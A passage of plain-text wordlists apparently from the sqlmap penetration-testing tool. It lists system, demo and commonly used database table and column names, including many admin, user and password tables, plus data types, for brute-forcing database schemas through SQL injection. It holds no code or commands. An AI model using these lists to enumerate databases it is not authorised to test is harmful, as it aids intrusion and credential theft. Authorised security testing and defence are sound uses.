pg_proc pg_rewrite pg_shdepend pg_shdescription pg_statistic pg_tablespace pg_trigger pg_ts_config pg_ts_config_map pg_ts_dict pg_ts_parser pg_ts_template pg_type pg_user_mapping sql_features sql_implementation_info sql_languages sql_packages sql_parts sql_sizing sql_sizing_profiles # Oracle (demo database) BONUS DEPT EMP SALGRADE USERS # Microsoft SQL Server ## Database: AdventureWorksDW AdventureWorksDWBuildVersion DatabaseLog DimAccount DimCurrency DimCustomer DimDepartmentGroup DimEmployee DimGeography DimOrganization DimProduct DimProductCategory DimProductSubcategory DimPromotion DimReseller DimSalesReason DimSalesTerritory DimScenario DimTime FactCurrencyRate FactFinance FactInternetSales FactInternetSalesReason FactResellerSales FactSalesQuota ProspectiveBuyer vAssocSeqLineItems vAssocSeqOrders vDMPrep vTargetMail vTimeSeries ## Database: master all_columns all_objects all_parameters all_sql_modules all_views allocation_units assemblies assembly_files assembly_modules assembly_references assembly_types asymmetric_keys backup_devices certificates CHECK_CONSTRAINTS check_constraints COLUMN_DOMAIN_USAGE COLUMN_PRIVILEGES column_type_usages column_xml_schema_collection_usages columns COLUMNS computed_columns configurations CONSTRAINT_COLUMN_USAGE CONSTRAINT_TABLE_USAGE conversation_endpoints conversation_groups credentials crypt_properties data_spaces database_files database_mirroring database_mirroring_endpoints database_mirroring_witnesses database_permissions database_principal_aliases database_principals database_recovery_status database_role_members databases default_constraints destination_data_spaces dm_broker_activated_tasks dm_broker_connections dm_broker_forwarded_messages dm_broker_queue_monitors dm_clr_appdomains dm_clr_loaded_assemblies dm_clr_properties dm_clr_tasks dm_db_file_space_usage dm_db_index_usage_stats dm_db_mirroring_connections dm_db_missing_index_details dm_db_missing_index_group_stats dm_db_missing_index_groups dm_db_partition_stats dm_db_session_space_usage dm_db_task_space_usage dm_exec_background_job_queue dm_exec_background_job_queue_stats dm_exec_cached_plans dm_exec_connections dm_exec_query_optimizer_info dm_exec_query_stats dm_exec_query_transformation_stats dm_exec_requests dm_exec_sessions dm_fts_active_catalogs dm_fts_index_population dm_fts_memory_buffers dm_fts_memory_pools dm_fts_population_ranges dm_io_backup_tapes dm_io_cluster_shared_drives dm_io_pending_io_requests dm_os_buffer_descriptors dm_os_child_instances dm_os_cluster_nodes dm_os_hosts dm_os_latch_stats dm_os_loaded_modules dm_os_memory_allocations dm_os_memory_cache_clock_hands dm_os_memory_cache_counters dm_os_memory_cache_entries dm_os_memory_cache_hash_tables dm_os_memory_clerks dm_os_memory_objects dm_os_memory_pools dm_os_performance_counters dm_os_ring_buffers dm_os_schedulers dm_os_stacks dm_os_sublatches dm_os_sys_info dm_os_tasks dm_os_threads dm_os_virtual_address_dump dm_os_wait_stats dm_os_waiting_tasks dm_os_worker_local_storage dm_os_workers dm_qn_subscriptions dm_repl_articles dm_repl_schemas dm_repl_tranhash dm_repl_traninfo dm_tran_active_snapshot_database_transactions dm_tran_active_transactions dm_tran_current_snapshot dm_tran_current_transaction dm_tran_database_transactions dm_tran_locks dm_tran_session_transactions dm_tran_top_version_generators dm_tran_transactions_snapshot dm_tran_version_store DOMAIN_CONSTRAINTS DOMAINS endpoint_webmethods endpoints event_notification_event_types event_notifications events extended_procedures extended_properties filegroups foreign_key_columns foreign_keys fulltext_catalogs fulltext_document_types fulltext_index_catalog_usages fulltext_index_columns fulltext_indexes fulltext_languages http_endpoints identity_columns index_columns indexes internal_tables KEY_COLUMN_USAGE key_constraints key_encryptions linked_logins login_token master_files master_key_passwords message_type_xml_schema_collection_usages messages module_assembly_usages MSreplication_options numbered_procedure_parameters numbered_procedures objects openkeys parameter_type_usages parameter_xml_schema_collection_usages parameters PARAMETERS partition_functions partition_parameters partition_range_values partition_schemes partitions plan_guides procedures REFERENTIAL_CONSTRAINTS remote_logins remote_service_bindings routes ROUTINE_COLUMNS ROUTINES schemas SCHEMATA securable_classes server_assembly_modules server_event_notifications server_events server_permissions server_principals server_role_members server_sql_modules server_trigger_events server_triggers servers service_broker_endpoints service_contract_message_usages service_contract_usages service_contracts service_message_types service_queue_usages service_queues services soap_endpoints spt_fallback_db spt_fallback_dev spt_fallback_usg spt_monitor spt_values sql_dependencies sql_logins sql_modules stats stats_columns symmetric_keys synonyms sysaltfiles syscacheobjects syscharsets syscolumns syscomments sysconfigures sysconstraints syscurconfigs syscursorcolumns syscursorrefs syscursors syscursortables sysdatabases sysdepends sysdevices sysfilegroups sysfiles sysforeignkeys sysfulltextcatalogs sysindexes sysindexkeys syslanguages syslockinfo syslogins sysmembers sysmessages sysobjects sysoledbusers sysopentapes sysperfinfo syspermissions sysprocesses sysprotects sysreferences sysremotelogins syssegments sysservers system_columns system_components_surface_area_configuration system_internals_allocation_units system_internals_partition_columns system_internals_partitions system_objects system_parameters system_sql_modules system_views systypes sysusers TABLE_CONSTRAINTS TABLE_PRIVILEGES TABLES tables tcp_endpoints trace_categories trace_columns trace_event_bindings trace_events trace_subclass_values traces transmission_queue trigger_events triggers type_assembly_usages types user_token via_endpoints VIEW_COLUMN_USAGE VIEW_TABLE_USAGE views VIEWS xml_indexes xml_schema_attributes xml_schema_collections xml_schema_component_placements xml_schema_components xml_schema_elements xml_schema_facets xml_schema_model_groups xml_schema_namespaces xml_schema_types xml_schema_wildcard_namespaces xml_schema_wildcards ## Database: msdb backupfile backupfilegroup backupmediafamily backupmediaset backupset log_shipping_monitor_alert log_shipping_monitor_error_detail log_shipping_monitor_history_detail log_shipping_monitor_primary log_shipping_monitor_secondary log_shipping_primaries log_shipping_primary_databases log_shipping_primary_secondaries log_shipping_secondaries log_shipping_secondary log_shipping_secondary_databases logmarkhistory MSdatatype_mappings MSdbms MSdbms_datatype MSdbms_datatype_mapping MSdbms_map restorefile restorefilegroup restorehistory sqlagent_info suspect_pages sysalerts syscachedcredentials syscategories sysdatatypemappings sysdbmaintplan_databases sysdbmaintplan_history sysdbmaintplan_jobs sysdbmaintplans sysdownloadlist sysdtscategories sysdtslog90 sysdtspackagefolders90 sysdtspackagelog sysdtspackages sysdtspackages90 sysdtssteplog sysdtstasklog sysjobactivity sysjobhistory sysjobs sysjobs_view sysjobschedules sysjobservers sysjobsteps sysjobstepslogs sysmail_account sysmail_allitems sysmail_attachments sysmail_attachments_transfer sysmail_configuration sysmail_event_log sysmail_faileditems sysmail_log sysmail_mailattachments sysmail_mailitems sysmail_principalprofile sysmail_profile sysmail_profileaccount sysmail_query_transfer sysmail_send_retries sysmail_sentitems sysmail_server sysmail_servertype sysmail_unsentitems sysmaintplan_log sysmaintplan_logdetail sysmaintplan_plans sysmaintplan_subplans sysnotifications sysoperators sysoriginatingservers sysoriginatingservers_view sysproxies sysproxylogin sysproxyloginsubsystem_view sysproxysubsystem sysschedules sysschedules_localserver_view syssessions syssubsystems systargetservergroupmembers systargetservergroups systargetservers systargetservers_view systaskids ## Database: AdventureWorks Address AddressType AWBuildVersion BillOfMaterials Contact ContactCreditCard ContactType CountryRegion CountryRegionCurrency CreditCard Culture Currency CurrencyRate Customer CustomerAddress DatabaseLog Department Document Employee EmployeeAddress EmployeeDepartmentHistory EmployeePayHistory ErrorLog Illustration Individual JobCandidate Location Product ProductCategory ProductCostHistory ProductDescription ProductDocument ProductInventory ProductListPriceHistory ProductModel ProductModelIllustration ProductModelProductDescriptionCulture ProductPhoto ProductProductPhoto ProductReview ProductSubcategory ProductVendor PurchaseOrderDetail PurchaseOrderHeader SalesOrderDetail SalesOrderHeader SalesOrderHeaderSalesReason SalesPerson SalesPersonQuotaHistory SalesReason SalesTaxRate SalesTerritory SalesTerritoryHistory ScrapReason Shift ShipMethod ShoppingCartItem SpecialOffer SpecialOfferProduct StateProvince Store StoreContact TransactionHistory TransactionHistoryArchive UnitMeasure vAdditionalContactInfo vEmployee vEmployeeDepartment vEmployeeDepartmentHistory Vendor VendorAddress VendorContact vIndividualCustomer vIndividualDemographics vJobCandidate vJobCandidateEducation vJobCandidateEmployment vProductAndDescription vProductModelCatalogDescription vProductModelInstructions vSalesPerson vSalesPersonSalesByFiscalYears vStateProvinceCountryRegion vStoreWithDemographics vVendor WorkOrder WorkOrderRouting [Columns] # MySQL ## Table: mysql.user Alter_priv Alter_routine_priv Create_priv Create_routine_priv Create_tmp_table_priv Create_user_priv Create_view_priv Delete_priv Drop_priv Event_priv Execute_priv File_priv Grant_priv Host Index_priv Insert_priv Lock_tables_priv max_connections max_questions max_updates max_user_connections Password Process_priv References_priv Reload_priv Repl_client_priv Repl_slave_priv Select_priv Show_db_priv Show_view_priv Shutdown_priv ssl_cipher ssl_type Super_priv Trigger_priv Update_priv User x509_issuer x509_subject # Oracle (types) BINARY_INTEGER BLOB BOOLEAN CHAR CLOB DATE INTERVAL LONG MLSLABEL NCHAR NCLOB NUMBER NVARCHAR2 RAW ROWID TIMESTAMP VARCHAR VARCHAR2 XMLType # MySQL (types) bigint blob char date datetime decimal double enum float int set smallint text time tinyint varchar year # Microsoft SQL Server (types) bigint binary bit char cursor date datetime datetime2 datetimeoffset decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint smallmoney sql_variant table text time timestamp tinyint uniqueidentifier varbinary varchar xml # PostgreSQL (types) bigint bigserial boolean bpchar bytea character date decimal double precision int4 integer interval money numeric real serial smallint text time timestamp sqlmap-1.9.6/data/txt/common-tables.txt000066400000000000000000001316451502261744200200720ustar00rootroot00000000000000# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission users customer user orders employee x_world category project account customers country config groups inventory department categories messages person comments sessions student items employees language accounts product CUSTOMER faculty location item authors parts members countries status menu dependent modules role products page chart task posts DEPT Person user_role ORDERS emp album EMP log INVENTORY payments part permission contact borrower report color admin SALGRADE PRODUCT vendor tax branch projects data course jobs watchlist shipment_line CATEGORY categoryNames attributeCategory db PS_DMK study event invoice order_source topics students order_line regions CPG_config news dept permissions events shipment sections ITEM hosts form_definition_version alias people role_permission applications CPG_usergroups image organization courses loan form_definition configuration hibernate_unique_key order form_error payment Author history task_param movies dept_locations track services EMPLOYEE works_on patient Student form_data setting PUBLISHER partsgroup languages depositor CPG_categories book Orders job_history metadata exchangerate shipto rcpt team address tasks queue_info subscribers city field_options locations statename BOOK zuseserver ap ar Employees USER userInfo telephone session User video LOCATION tf_links ACCOUNT artist property the request acc_trans lending postaladdress Customers xmldocument jiveID domain promotion CPG_filetypes assembly business orderitems locale gl links located identities sizes companies payload Organization protocol transfers encompasses borders profiles salesorder mailbox contacts tables_priv admin_logs text phpbb_config plugin stores host Book gifi user_groups term internetaddress tf_settings region poll makemodel partstax catalog question vendors departments notes delivery_quality queries identification friends vcd_Screenshots PERSON course_section vcd_PornCategories pma_history jiveRemoteServerConf channels object chip_layout osc_products_options_values_to_products_options login user_newtalk vcd_MetaDataTypes entrants Device imageInfo developers div_experiment items_template defaults osc_products vcd_MetaData mucRoomProp QRTZ_JOB_DETAILS settings pma_bookmark DEPENDENT imageCategoryList islandIn mobile_menu_text jiveUserProp osc_products_options_values wp_posts package mucRoom vendortax vcd_Comments attrs config_seq company register checksum_results ENROLLMENT operation primarytest vcd_CoverTypes binaries COURSE_SECTION Students func enrollment pma_table_coords readers action_element vcd_VcdToPornstars osc_categories_description friend_statuses Domain servers UserFields revision meals resources mixins sys_options_cats licenses pma_relation SIGNON clients Apply vcd_CoversAllowedOnMediatypes ThumbnailKeyword form_definition_text vcd_Log system jiveOffline tickers BANNERDATA mucAffiliation fk_test_has_pk rooms objectcache collection_item_count div_stock_parent jiveRoster Volume lookup investigator math jivePrivate vcd_UserWishList osc_manufacturers_info primarytest2 PROFILE categories_posts Flight Gallery scripts AUTHOR physician client cv_country_synonyms osc_categories interwiki logtest archive members_networks vcd_MovieCategories language_text UserType friend div_annotation_type osc_products_description osc_products_to_categories QRTZ_PAUSED_TRIGGER_GRPS article recentchanges vcd_UserLoans media vcd_SourceSites conducts sales CurrentUsers Country vcd_IMDB vcd_Borrowers querycache Publication Pilot div_stock Regions DEPT_LOCATIONS vcd_Users master_table vcd_VcdToUsers funny_jokes jos_vm_payment_method vcd_UserProperties osc_products_images specialty pma_pdf_pages visits div_allele_assay vcd_MediaTypes ipblocks WidgetPrices form_definition_version_text experiment Publisher control protocol_action jivePrivacyList vcd_VcdToPornStudios subImageInfo plugin_sid message_statuses state GalleryThumb hitcounter vcd_Pornstars QRTZ_BLOB_TRIGGERS div_generation jiveGroupProp ingredients community_item_count jiveExtComponentConf SEQUENCE Continent rights div_statistic_type Path osc_manufacturers logging colnametests QRTZ_FIRED_TRIGGERS div_locality sailors Description warehouse DEPARTMENT legacy_things jiveVCard agent CPG_bridge CUSTOMERS jiveProperty app_user keyboards div_unit_of_measure categorylinks grants Action div_trait div_trait_uom WidgetReferences product_type developers_projects userAttribute vcd_Sessions form_data_archive vcd_PornStudios action_attribute Thumbnail jiveGroupUser computers QRTZ_LOCKS vcd_PropertiesToUser customertax sector networks columns_priv globals div_obs_unit_sample Widgets TERM salgrade div_passport vcd_UserRoles mucMember imagelinks exchange Status WORKS_ON lines testusers booleantests QRTZ_SIMPLE_TRIGGERS mobile_menu staff vcd_VcdToPornCategories tblusers hashes partner Product personnel ads vcd_Covers osc_specials Keyword supplier agent_specialty pokes profile_pictures oldimage div_poly_type osc_products_attributes_download div_allele isMember vcd_Images userImageRating detail_table osc_products_attributes pma_table_info officer div_obs_unit vcd_Settings COURSE Time locatedOn medicalprocedure fk_test_has_fk mergesWith author UserFieldsInfo Employee oe QRTZ_TRIGGERS insurance SUPPLIER div_aa_annotation song imageAttribute views_track extremes vcd_VcdToSources jiveRosterGroups webcal_config phpbb_ranks triggers_template appVersions vcd_RssFeeds DUMMY ROLE activity study_text osc_products_options City QRTZ_SCHEDULER_STATE osc_reviews edge questions partof blobs QRTZ_CRON_TRIGGERS tag userSession vcd pma_column_info auto_id_tests job site_stats mucConversationLog sequence madewith OperationStatus SPJ turizmi_ge zutat_cocktail DWE_Internal_WF_Attributes zipcodes insertids ChemList product_category foreigntest2 hero cmContentVersionDigitalAsset reports devel_logsql f_sequence MEMBER ClassificationScheme ez_webstats_conf credential utilise cmDigitalAsset ACL_table service_request_log feedback vars tblblogentriescategories assignment CUST_HIST ew_menu time_zone_transition_type child_configs LIBRARY_BRANCH Company Component webcal_entry_log transactions webcal_entry_ext_user dept_location ConsultantsTable phonelist sys_acl_actions participate population dtb_order files_config PropColumnMap result pma_designer_coords triggers audittrail f_attributedependencies organization_type_package_map DWE_Corr_Sets userlist backgroundJob_table sf_guard_user_permission my_lake DWE_Corr_Tokens sampleData qrtz_blob_triggers reciprocal_partnersites rss_categories ADMIN site_map_ge Factory_Output geo_Estuary phpbb_themes forum ClientsTable mushroom_trainset rating_track iplinks maxcodevento reciprocal_admin ew_moduli CheckType cmLanguage phpbb_points_config guava_sysmodules querycachetwo soc_da_polit_ge BOOK_AUTHORS records reciprocal_config newsletter_queue passwds phpbb_posts_text biosample connectorassocs BOOK_COPIES jos_sections vote SCRIPT THOT_CATEGORY artifact object_types pages usuario CE_table phpbb_forums tbl_country Products dtb_bat_order_daily site_wtype geo_mountain expression Simple_Response photoo photos child_config_traffic_selector version_data allocation dtb_category_total_count habilidad PREFIX_group_lang work_orders SELLER cv_soil taxon bkp_ItemResource ezcontentobject_trash webcal_view pagecontent Collection maxcodcurso self_government_ge phpbb_user_group InstanceStringTable bldg_types t1 mailaddresses section m_type configlist cmRepositoryContentTypeDefinition trade Parameter jforum_privmsgs tbl_works_categories help_category bkp_String Class_Display_Sequence EPIXEIRISI sounds phpbb_groups dtb_campaign produit adblocks vendor_seq guava_theme_modules dtb_pagelayout bookings cmPublicationDetail writes writer distance DWE_Resource_Attributes jforum_groups Polynomial river GROUP sea IDIOTIS cmPublication last UsageParameter phpbb_topics t_peep PREFIX_group dtb_delivfee equipment_type_seq wp_users news_category SchemaInfo WidgetDescriptions dtb_category_count sidebar R1Weights humanitaruli_ge cmTransactionHistory facets jforum_roles samedicino_ge qrtz_job_listeners geo_Lake religion nuke_gallery_media_class cia DatabaseInfo R2TF THOT_THEME R1Length cmContentRelation S2ODTMAP enrolled liste_domaines DEMO_PROJECTS ORDERSTATUS site_iwis MountainOnIsland bkp_ItemReference Category Mountain INSTITUTE POINT forum_vote THOT_TYPE cmts_track bkp_ItemReplication hostbenchmarks filearchive f_spatialcontext UM_ROLE_ATTRIBUTES SCALE maclinks books DWE_Predecessors interactions graphs_items stars BID enrolls site_environment user_types Severity partscustomer wp_pod_types River marital_status PZ PN email CustomerCards mtb_zip Campus R1Size hardware dtb_other_deliv pricegroup commissionEmployees cv_pests_diseases tbl_tech macswitches cc_config audit colour command audio egresado aggtest transport zusti_da_sabuneb_ge div_scoring_tech_type R2Weights schedule routers zips DWE_Delay_Timers Descriptions software wh_der_children delivery placex cv_crops problem Station_Data account_transaction time_zone_name numedia THOT_DEEP ZENTRACK_VARFIELD_IDX roads_endpoints Propdesc_table general_log peer_configs hot_prop phones ServiceBinding emailinfo dtb_member cmSiteNode nodes sbreciprocal_cats rss_read DWE_Workflow_Documents bombing tblblogtrackbacks fragment dtb_review tblblogsearchstats datasources CPG_users vrls_partners guava_roles webcal_user_layers ANSWER_GROUP_DETAIL tbl_clients dtb_kiyaku EmailAddress Sea powers QRTZ_CALENDARS reserve LINEITEM project_user_xref Agent idioma dtb_campaign_detail jos_components user_rights tf_messages Class_Def_Table geo_lake copytest tissue ligneDeFacture PZ_Data tf_cookies archtypes cmts photo dtb_bloc user_preferences music_ge D_Abbreviation data_set_association site_location jforum_posts Property pg_ts_dict badspy gearing credenziali abstract evidence files test intUsers div_treatment tblblogentries cocktail_person cdv_curated_allele REORDER Religion turns MetadataValue curso redirect accountuser qrtz_cron_triggers StateType forum_user_stat Descriptions_Languages m_users_profile Booked_On not_null_with_default_test tblblogroles organizations topic economy DWE_Org_Resources Model maxcodcorreo RATING Transactions Chemicals m_data USER_GROUP equipment_type geo_Island sysmaps ezin_roles phpbb_themes_name dtb_send_history dtb_send_customer cart size pg_ts_cfgmap LimitTest2 QUESTION DC_Data webcal_group_user telefono builds tbluserroles webcal_site_extras solde document m_users_acct vendor_types fruit DWE_Resources Service PART cell_line dtb_bat_order_daily_age images apartments THOT_ALPHA ippaths area SYNALLAGI sysmaps_hosts tbl_works statuses webcal_user customurl THOT_YEAR DWE_Subscriptions correo kultura_ge Factory_Master inv_lines_seq certificates webcal_asst ostypes POINT_SET R2IDF forum_flag bugs taxonomy UM_ROLES div_synonym payer tf_log job_title ask wp_options forum_user_activity trackbacks wp_pod_fields cmAvailableServiceBindingSiteNodeTypeDefinition translation cdv_passport_group User_ Users access_control my_county zoph_people account_permissions ORDERLINES ganatlebe_ge wp_term_relationships pictures product_font Departure mushroom_test_results routerbenchmarks bkp_Item Channel_Data realtable mushroom_NBC_class odetails user_type_link eco_da_biz_ge belong ezin_users time_zone_transition ew_tabelle ezsearch_return_count_new cmSystemUserRole m_users div_accession_collecting Economy tbl_works_clients qrtz_locks geo_Mountain dtb_category tmp reservation geo_Desert dtb_payment forum_topic ezsearch_search_phrase_new jforum_attach sazog_urtiertoba_ge Equipment iuridiuli_ge MetadataSchemaRegistry basePlusCommissionEmployees addresses phpbb_search_wordlist user_defined_attribute fournisseurType dpt_trans PostalAddress defaultinsertid Politics pools cocktail_lokal dtb_blocposition templatelinks jforum_ranks D_Format_Data tblblogtextblocks time_zone_leap_second rss Decimation dtb_user_regist f_options siteIndexTable Administrator phpbb_users ezin_authors SpecificationLink videos sf_guard_remember_key employer monitoringi_ge leases phpbb_smilies stats f_spatialcontextgroup experiencia dtb_csv line_items_seq ndb_binlog_index zoph_categories help_topic div_treatment_uom transaction wp_links DWE_Organizations live_ge cdv_allele_curated_allele timeperiod item_master_seq GLI_profiles cv_countries qrtz_scheduler_state journal tf_users mwuser stories dtb_table_comment jforum_quota_limit Lake SQLDATES phpbb_search_wordmatch friend2 functions comboboxes DWE_Max_Id std_item foreigntest jiveVersion sf_guard_group Classification Sensitivity PREFIX_category_group preferences credit geo_sea type knjiga FindCriteria zoph_prefs webcal_entry_repeats room domain_info SALES DWE_Tasks profession1 SUPPORT_INCIDENTS PERMISSION Defect DWE_Task_Attributes grandchild_test Desert KARTA UM_ROLE_PERMISSIONS Purchases PREFIX_configuration guava_themes alltypes webcal_view_user vrls_xref_country R1TF subject continent D_Format dtb_recommend_products Linkdesc_table qrtz_fired_triggers TelephoneNumber dtb_customer_mail_temp copyrights jforum_extension_groups DEMO_ASSIGNMENTS guava_group_assignments jforum_extensions zutat ew_user duptest alerts partsvendor jiveGroup organization_seq dtb_customer_reading configuratore tbl_event my_street osvendors softwares Session admins TIL_IDIOTON EthnicGroup reviews tblblogentriesrelated guava_packages GRouteDetail cdv_reason nulltest membership bkp_RS_Servers vrls_listing_images schema_info entity group ClassificationNode dtb_best_products cv_cropping_system DWE_Workflows egresadoxidiomaxhabilidad locus_data dtb_order_temp tblblogsubscribers account_log facture MetadataFieldRegistry BRANCH orgs DM NextID_table webcal_group DC wp_pod_widgets chromosomes Name roster dtb_csv_sql synchro_type langlinks genres_in_movies qrtz_triggers Province answerOption wp_postmeta ERDESIGNER_VERSION_ID calendar cmEvent ruletest forum_user SalesReps ew_gruppi vrls_xref_state_province conferences pay Plane webcal_entry_repeats_not Island tbl_works_tech webcal_import nuke_gallery_comments monthlabel tblblogcomments dtb_delivtime product_size_multi manufacturer Tasks island coupon webcal_report RegistryPackage sysmaps_links procs_priv invoices_seq film genres field vertex FoundThumbs qrtz_trigger_listeners reciprocal_links DWE_Meta_Data Course idiomaxegresado ordreReparation Assigned_To ORDERITEMS PREFIX_product_attribute_image COLLECT_SITE THOT_CONCEPT publisher dtb_mailmaga_template DSObject_table forum_post sf_guard_permission Prefixes dtb_update BROWSE tf_rss TIME reciprocal_mails association typeFacture StringTable CATEGORIES Language mountain ad_locales ExtrinsicObject R2Size geo_island derived_types snipe_gallery_cat qrtz_job_details guava_roleviews production_wtype AccountXML1 wh_man_children not_null_test product_colour_multi ike_configs intUseringroup study_user pg_ts_cfg connectorswitches procedure_biosample theday fournisseur typeProduit BOOKAUTHOR passwords keys AuditableEvent ExternalIdentifier source BOOK_LOANS UserRole vrls_xref_listing_offer_type cmRole PREFIX_search_engine my_poi Channel_Comment forum_cat invite PREFIX_order_return_state experimental_data_set DOCUMENT_FIELDS Scripts mushroom_dataset desert Can_Fly synchro_element maxcodtelefono enrollments tblblogpages f_attributedefinition intGroups way_nodes child_test THOT_TARGET MOMENT dtb_classcategory product_price relation_members PREFIX_access dtb_deliv webcal_categories Parts invoices QRTZ_JOB_LISTENERS ANSWER tbl_categories yearend DEPARTMENTS account_level ref help_relation zoph_users procedure_data_set Association mtb_pref ANSWER_GROUP GDirectedRoute graphs occasion account_temp nuke_gallery_categories areas cmContentVersion checksum_history mushroom_test_results_agg accessTable cameFromTable services_links Coefficients reglement maxcodexperiencia vrls_xref_listing_type adv lake tests Offices qrtz_simple_triggers Editor sazog_urtiertoba_ge2 wp_pod_pages Extlangs seq_gen rss_subscription Station_Comment R1IDF jforum_config cmServiceDefinitionAvailableServiceBinding geo_River facilities connectorlinks file_storage neuf school wp_term_taxonomy m_plans ligneDeCommande FORM_QUESTION history_str f_classtype endpoints R2Length zoph_albums bkp_ItemPresentation tblblogcategories div_taxonomy traffic_selectors FORM qrtz_paused_trigger_grps creditcards people_reg country_partner jforum_users array_test dtb_mail_history priorities relations combustiblebois slow_log DWE_Resource_Roles WROTE flow pay_melodies dtb_templates variable_interest dtb_class ZENTRACK_VARFIELD catalogue uplebata_dacva_ge wp_usermeta time_zone games wp_terms sf_guard_user_group honorsinfo maxcodestudio estudio_academico RECORD Room alarms ew_temi clubs net_pm tbl_state cmContentTypeDefinition radacct peer_config_child_config cmAvailableServiceBinding cmSiteNodeVersion Poles_Zeros ipmacassocs m_news dtb_news shared_secrets UsageDescription rol phpbb_posts ipassocs cmSystemUser phpbb_categories FoundLists jforum_smilies channelitems lokal subcategory Languages jiveSASLAuthorized DWE_WF_Attributes cocktail cust_order mushroom_testset THOT_SOURCE product_font_multi presence UM_USERS jiveUser cmSiteNodeTypeDefinition wp_comments dtb_bat_order_daily_hour jos_vm_category CONTACT SpecialityTable librarian geo_river MonitorStatus pagelinks ways DWE_Roles jforum_vote_desc cities PREFIX_order_return_state_lang subscriber prereq Slot rss_item UM_USER_ROLES PREFIX_timezone evento guava_views cmServiceDefinition Variants searchindex actions cdv_passport_set production_multiple page_log_exclusion furniture nuke_gallery_pictures cmRepositoryLanguage oc os PREFIX_tab_lang lc_fields framework_email datasets sporti_ge externallinks geo_desert politics hourlyEmployees D_Comment EMPLOYEES individual m_with program combustible ezin_articles pma_tracking help_keyword POSITION stars_in_movies glas cmRepository dtb_mailtemplate DIM_TYPE cart_table D_Unit array_probe macassocs changeTva UM_PERMISSIONS geo_Source R1Sum cdv_marker nuke_gallery_template_types UM_USER_ATTRIBUTES Aircraft store Descriptions_Variants trigger_depends guava_role_assignments ExternalLink bkp_RS_Clusters PN_Data users_sessions webcal_nonuser_cals parent_test cmServiceBinding BUYER transcache dtb_question_result rss_category profiling QRTZ_TRIGGER_LISTENERS THOT_LANGUAGE cmContent Descriptions_Scripts DSProp_table webcal_report_template service_request resource_types THOT_SUB_MENU bkp_ResourceFolder PREFIX_tab province dtb_bat_relate_products changePrix proc ewst_sessioni nuke_gallery_media_types outdoor_spaces po_seq salariedEmployees grp jforum_topics defertest array_data most_recent_checksum m_earnings product_related dtb_baseinfo webcal_import_data federationApplicants qrtz_calendars melodies jforum_forums sf_guard_group_permission sys_acl_matrix R2ODTMAP mushroom_NBC country_diseases dtb_order_detail sic PROJECT log_fake_referers ROLE_PERM isDeleted_table vrls_listings Table sf_guard_user Subject cdv_curation dictionary forum_report institution cmQualifyer jforum_categories site_climatic phpbb_points_values zoph_color_schemes DWE_Internal_Task_Attributes uniquetest TypeRule dtb_customer R2Sum PREFIX_customer_group ProjectsTable dtb_products words dtb_question UM_USER_PERMISSIONS exam commande viktorina_ge dtb_products_class subscribe page_restrictions querycache_info cdv_map_feature oidtest Link_table guava_users connectormacassocs moduleexecs guava_groups Institution sconfig shared_secret_identity platforms BORROWER phpbb_acl_options markers Population shipping guava_preferences rating UserCapability Priority rec_jobs ezin_sections Descriptions_Regions SPACE geo_Sea DATA_ORG Contributor flag # Various Joomla tables jos_vm_product_download jos_vm_coupons jos_vm_product_reviews jos_core_acl_aro jos_vm_shopper_vendor_xref jos_stats_agents jos_vm_orders jos_poll_menu jos_content_rating jos_vm_vendor jos_vm_product_mf_xref jos_vm_export jos_polls jos_content_frontpage jos_vm_userfield_values jos_categories jos_poll_data jos_vm_manufacturer jos_vm_order_user_info jos_core_acl_groups_aro_map jos_messages jos_vm_zone_shipping jos_bannertrack jos_vm_order_status jos_modules_menu jos_vm_product_type jos_vm_product_type_parameter jos_vm_tax_rate jos_core_log_items jos_modules jos_users jos_vm_product_category_xref jos_vm_product_attribute jos_poll_date jos_vm_vendor_category jos_vm_state jos_vm_country jos_weblinks jos_vm_cart jos_vm_shipping_label jos_vm_manufacturer_category jos_vm_shopper_group jos_vm_product_votes jos_vm_currency jos_vm_creditcard jos_menu jos_groups jos_messages_cfg jos_vm_order_payment jos_content jos_bannerclient jos_vm_product_discount jos_core_log_searches jos_vm_auth_user_group jos_contact_details jos_vm_auth_group jos_vm_waiting_list jos_vm_category_xref jos_newsfeeds jos_vm_auth_user_vendor jos_vm_user_info jos_vm_function jos_vm_product_files jos_vm_userfield jos_vm_shipping_carrier jos_core_acl_aro_map jos_vm_shipping_rate jos_vm_product jos_vm_product_product_type_xref jos_core_acl_aro_groups jos_templates_menu jos_menu_types jos_plugins jos_session jos_vm_order_item jos_vm_module jos_vm_product_attribute_sku jos_vm_product_price jos_vm_csv jos_migration_backlinks jos_vm_product_relations jos_core_acl_aro_sections jos_vm_order_history jos_banner php_users ALL_USERS banned_users users_tmp users_club publicusers cmsusers # List provided by Anastasios Monachos (anastasiosm@gmail.com) blacklist cost moves pelates tamio tameio xristes zones tamio_pelates kwdikos addressbookgrp sendmsgs publicationauthor publicationfile topicpublication userrights comp_group computers_ID event_log networking routing software_licenses ips arxeia SMS_TABLE TABLE_PRIVILEGE_MAP AMUSER CONTACTTYPE CONTENT DOWNLOADGROUP DOWNLOADS DOWNLOADTYPE EMAIL ENQUIRY FACTSHEET FUND FUNDGROUP HISTORY MANAGEMENTGROUP SUBSCRIBE TBLUSERS TBLLIST TBLLOG TBLPROFILES TBLREPORTS TBLTRANSACTIONS TBLRETAILUSERS TBLCORPUSERS TBLCORPORATEUSERS # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) tbladmins sort _wfspro_admin 4images_users a_admin adm admin_login admin_user admin_userinfo administer administrable administrate administration administrator administrators adminrights adminuser art article_admin articles artikel aut autore backend backend_users backenduser bbs chat_config chat_messages chat_users clubconfig content cpg_config cpg132_users customers_basket dbadmins dealer dealers diary download Dragon_users e107_user fusion_user_groups fusion_users ibf_admin_sessions ibf_conf_settings ibf_members ibf_members_converge ibf_sessions icq index info ipb_sessions joomla_users jos_blastchatc_users jos_comprofiler_members jos_joomblog_users jos_moschat_users knews_lostpass korisnik korisnici kpro_adminlogs kpro_user login_admin login_admins login_user login_users logins logon logs lost_pass lost_passwords lostpass lostpasswords m_admin main mambo_session mambo_users manage manager mb_users member memberlist minibbtable_users mitglieder movie mybb_users mysql name names news_lostpass newsletter nuke_authors nuke_bbconfig nuke_config nuke_popsettings nuke_users obb_profiles parol partners passes password perdorues perdoruesit phorum_session phorum_user phorum_users phpads_clients phpads_config forum_users poll_user punbb_users pwd pwds reg_user reg_users registered reguser regusers cards site_login site_logins sitelogin sitelogins sites smallnuke_members smf_members SS_orders statistics superuser sysadmin sysadmins sysuser sysusers table tables tb_admin 